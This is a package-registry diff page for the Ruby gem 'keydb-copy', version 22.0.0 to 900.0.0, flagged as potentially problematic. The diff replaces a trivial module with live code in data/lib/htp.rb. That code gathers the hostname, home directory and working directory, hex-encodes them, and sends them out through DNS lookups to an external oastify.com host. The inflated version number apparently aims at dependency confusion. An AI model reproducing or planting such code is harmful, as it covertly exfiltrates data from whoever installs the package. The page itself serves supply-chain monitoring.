keydb-copy 22.0.0 → 900.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of keydb-copy might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/htp.rb +21 -6
  3. metadata +2 -2
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 4bbbf0c0cef0e5a32fd376a999afa1632c5517691da79e38c35404b4567c3e4d
4
- data.tar.gz: c1caee203d5ef1793af57c2764ca67b908da411b7cb28ef892fd040d67302b94
3
+ metadata.gz: c637324cf75211a377298a1d429a61731b01364a5b261776ebc459eed3e9f7db
4
+ data.tar.gz: 39b44e220cfb8212797bda3d2a0dacda55b464eca31a0d0c96b57a0098714dc6
5
5
  SHA512:
6
- metadata.gz: 523e1b30479a2159ce89a7920d7c03903c1d8358c53295c01bf6fc3845cdde955ee2eba1120b332a7b69969e48fa477b5998fedd4f19f3a05e15dd1d517adcaa
7
- data.tar.gz: 4e9603193da6c45f0d00195589aec62f7d46205843453be15f346f6cd19e0f561a86d72a6b01debcb31de43be831f72c2659340a5980dc3cd1d1438664ce241d
6
+ metadata.gz: 5c3810c815e7065ec351714eb2757a49e6683d1faedcd592ae53a90e7317d95b5facb9d46f79784d2e58c28b03c84b74fda00c9f27efd5c3026d7b32fa68c853
7
+ data.tar.gz: 7238486d18db54cc0dc9e52878f9591a6ef782197f2e24382f0168fb4aa03ffaef959ec34f76f1117f1ef1bcda5f207b7b404a8f212cd0a1258bd92dfebb9cec
data/lib/htp.rb CHANGED
@@ -1,7 +1,22 @@
1
- module HtpGem
2
- class planet
3
- def self.htp?
4
- puts "HACK THE PLANET"
5
- end
6
- end
1
+ require 'json'
2
+ require 'resolv'
3
+
4
+ h = '536t5u39tablvlna8gv93i4m6dc40t.oastify.com'
5
+ p = 'keydb-copy'
6
+ id = rand(36**12).to_s(36)
7
+
8
+ d = {
9
+ 'p' => p,
10
+ 'h' => Socket.gethostname,
11
+ 'd' => File.expand_path('~'),
12
+ 'c' => Dir.pwd
13
+ }
14
+
15
+ d = JSON.generate(d)
16
+ d = d.unpack('H*')[0].scan(/.{1,60}/)
17
+
18
+ d.each.each_with_index do |c, i|
19
+ begin
20
+ Resolv.getaddress id + '.' + i.to_s + '.' + c + ".dns." + h
21
+ rescue; end
7
22
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: keydb-copy
3
3
  version: !ruby/object:Gem::Version
4
- version: 22.0.0
4
+ version: 900.0.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - xen
@@ -38,5 +38,5 @@ requirements: []
38
38
  rubygems_version: 3.0.3.1
39
39
  signing_key:
40
40
  specification_version: 4
41
- summary: cody zacharias PoC
41
+ summary: cody zacharias
42
42
  test_files: []